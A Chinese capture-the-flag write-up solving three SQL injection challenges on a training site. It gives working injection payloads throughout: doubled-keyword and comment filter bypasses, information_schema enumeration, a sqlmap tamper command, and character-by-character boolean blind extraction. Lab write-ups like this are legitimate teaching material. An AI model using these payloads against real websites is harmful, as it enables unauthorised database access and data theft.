实验吧之【简单的sql注入 1、2、3】

实验吧的三道sql注入(感觉实验吧大部分web都是注入)

简单的SQL注入

地址:http://ctf5.shiyanbar.com/423/web/

这道题也是sql注入,输入1,页面显示正常,输出1',页面报错

还是走流程把  fuzz下

发现过滤了and union之类的。不过尝试后发现是可以构造双写关键词 uniunionion 

 下面尝试爆表名和字段,发现他过滤了很多关键字:and,select,from,union,where,这里绕过关键字的方法有:关键字中间加/**/隔断,/*!关键字*/,关键字中间加%0b隔断,关键字重写(关关键字键字),大小写混合等等,尝试后/*!*/可以绕过,

查看数据库:

http://ctf5.shiyanbar.com/423/web/?id=1'  unionunion  selectselect  database()'

2.查询数据库中的表

http://ctf5.shiyanbar.com/423/web/?id=1'  unionunion  selectselect  table_name  fromfrom  information_schema.tables  wherewhere  '1'='1

查询字段名

1' unionunion  selectselect  column_namcolumn_namee  fromfrom  information_schema.coluinformation_schema.columnsmns  wherewhere  table_name='flag

1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1

简单的SQL注入2

地址:http://ctf5.shiyanbar.com/web/index_2.php

还是简单手工测试 输入1 不报错 1' 报错  尝试1' or '1'='1 报错

尝试后 发现过滤了空格 

http://ctf5.shiyanbar.com/web/index_2.php?id=1%27%0aor%0a%271%27=%271

后面发现union和select、#都没过滤 就很简单了

 查看数据库

http://ctf5.shiyanbar.com/web/index_2.php?id=1'/**/union/**/select/**/database()/**/%23

 查看表 发现flag表

http://ctf5.shiyanbar.com/web/index_2.php?id=1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/%23

 

后面就不贴了 这个也可以直接sqlmap跑

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs 

简单的SQL注入3

地址:http://ctf5.shiyanbar.com/web/index_3.php

输入1,页面显示hello,输入1',页面报错

 

网上说直接sqlmap可以出来 我试了不行 还是手工吧

正确和错误返回的页面不一样 布尔盲注

fuzz一下 发现sleep()应该是过滤了  那么这里需要替换函数

 这里既然是布尔盲注可以跑盲注脚本 一个字符一个的试 看了wp 发现还有更好的办法

http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (select count(*) from xxx.bb)>0 %23

这里会爆错 得到我们的数据库名

由此我们得知数据库名为web1,

接下里跑表的语句还是

?id=1' and (select count(*) from 表名)>0 %23

只能简单的拿?id=1' and (select count(*) from flag)>0 %23测试一下,返回了hello说明flag表存在

猜列的手法如出一辙

?id=1'union select 列名 from flag %23可以拿个字段字典放burp里跑,我这里还是进行简单的测试

?id=1'union select flag from flag %23后返回了hello,说明存在flag列

接下来就是最重要的一步——猜字符

?id=1'and ascii(substr((select flag from flag),1,1))=ASCII%23

对ASCII码进行爆破,值从30到127

猜解得flag

猜你喜欢

转载自www.cnblogs.com/-qing-/p/11074296.html